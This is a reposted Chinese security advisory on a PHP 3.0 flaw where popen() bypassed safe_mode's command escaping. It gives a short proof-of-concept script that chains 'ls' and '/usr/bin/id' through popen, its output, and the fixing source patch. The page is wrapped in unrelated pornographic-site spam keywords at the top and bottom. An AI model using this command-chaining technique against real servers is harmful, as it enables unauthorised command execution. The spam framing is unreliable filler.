六月婷婷综合激情-六月婷婷综合-六月婷婷在线观看-六月婷婷在线-亚洲黄色在线网站-亚洲黄色在线观看网站

明輝手游網中心:是一個免費提供流行視頻軟件教程、在線學習分享的學習平臺!

PHP3 safe_mode 失效漏洞

[摘要]受影響的系統: PHP 3.00 -------------------------------------------------------------------------------- 描述: PHP Version 3.0是一個HTML嵌入式腳本語言。其大多數語法移植于...
受影響的系統:  PHP 3.00  
--------------------------------------------------------------------------------
描述:
  
    PHP Version 3.0是一個HTML嵌入式腳本語言。其大多數語法移植于C、Java和Perl并結合了
PHP的特色。這個語言可以讓web開發者快速創建動態網頁。
   
    因其執行在web服務器上并允許用戶執行代碼,PHP內置了稱為'safe_mode'的安全特性,
用于控制在允許PHP操作的webroot環境中執行命令。
   
    其實現機制是通過強制執行shell命令的系統調用將shell命令傳送到EscapeShellCmd()
函數,此函數用于確認在webroot目錄外部不能執行命令。
   
    在某些版本的PHP中,使用popen()命令時EscapeShellCmd()卻失效了,造成惡意用戶可
以利用'popen'系統調用進行非法操作。
  
--------------------------------------------------------------------------------
測試程序:
  
警 告:以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!
  
<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp);
phpinfo();
?>
   
輸出結果如下:
   
1
total 53  
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls  
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
and from the configuration values of phpinfo():
safe_mode 0 1  

--------------------------------------------------------------------------------
建議:  
Index: functions/file.c
===================================================================
RCS file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca>
+----------------------------------------------------------------------+
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5

@@ -575,7 +576,7 @@
pval *arg1, *arg2;
FILE *fp;
int id;
- char *p;
+ char *p, *tmp = NULL;
char *b, buf[1024];
TLS_VARS;
   
@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}
   
- fp = popen(buf,p);
   
+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;  



主站蜘蛛池模板: 亚洲黄色网址大全 | 亚洲高清网站 | 日本亚欧乱色视频在线网站 | 亚洲第9页 | 日韩在线视频免费播放 | 青青青爽在线视频观看大全 | 欧美线人一区二区三区 | 欧洲性开放大片免费观看视频 | 午夜性福利 | 欧美亚洲另类一区中文字幕 | 青青国产线免观看手机版精品 | 特a级黄色片 | 日日噜噜噜夜夜爽爽狠狠69 | 欧美视频在线播放观看免费福利资源 | 四虎影视在线观看 | 综合五月天婷婷丁香 | 欧美特黄三级成人 | 日本一区二区视频免费播放 | 午夜影院美女 | 亚洲五月七月丁香缴情 | 日韩亚洲国产综合久久久 | 天天操狠狠操夜夜操 | 午夜久久免费视频 | 全国男人的天堂天堂网 | 欧美伊人久久久久久久久影院 | 一级毛片免费毛片一级毛片免费 | 欧美一级片网址 | 伊人久热这里只有精品视频99 | 日本高清视频色 | 亚洲色欲色欲www在线观看 | 日韩中文字幕一区 | 在线免费黄 | 日韩视频亚洲 | 天堂资源站 | 色啦啦影院 | 日本免费色网站 | 色小妹综合 | 一二三四在线观看日本 | 日韩免费高清 | 色偷偷狠狠色综合网 | 亚洲视频在线免费播放 |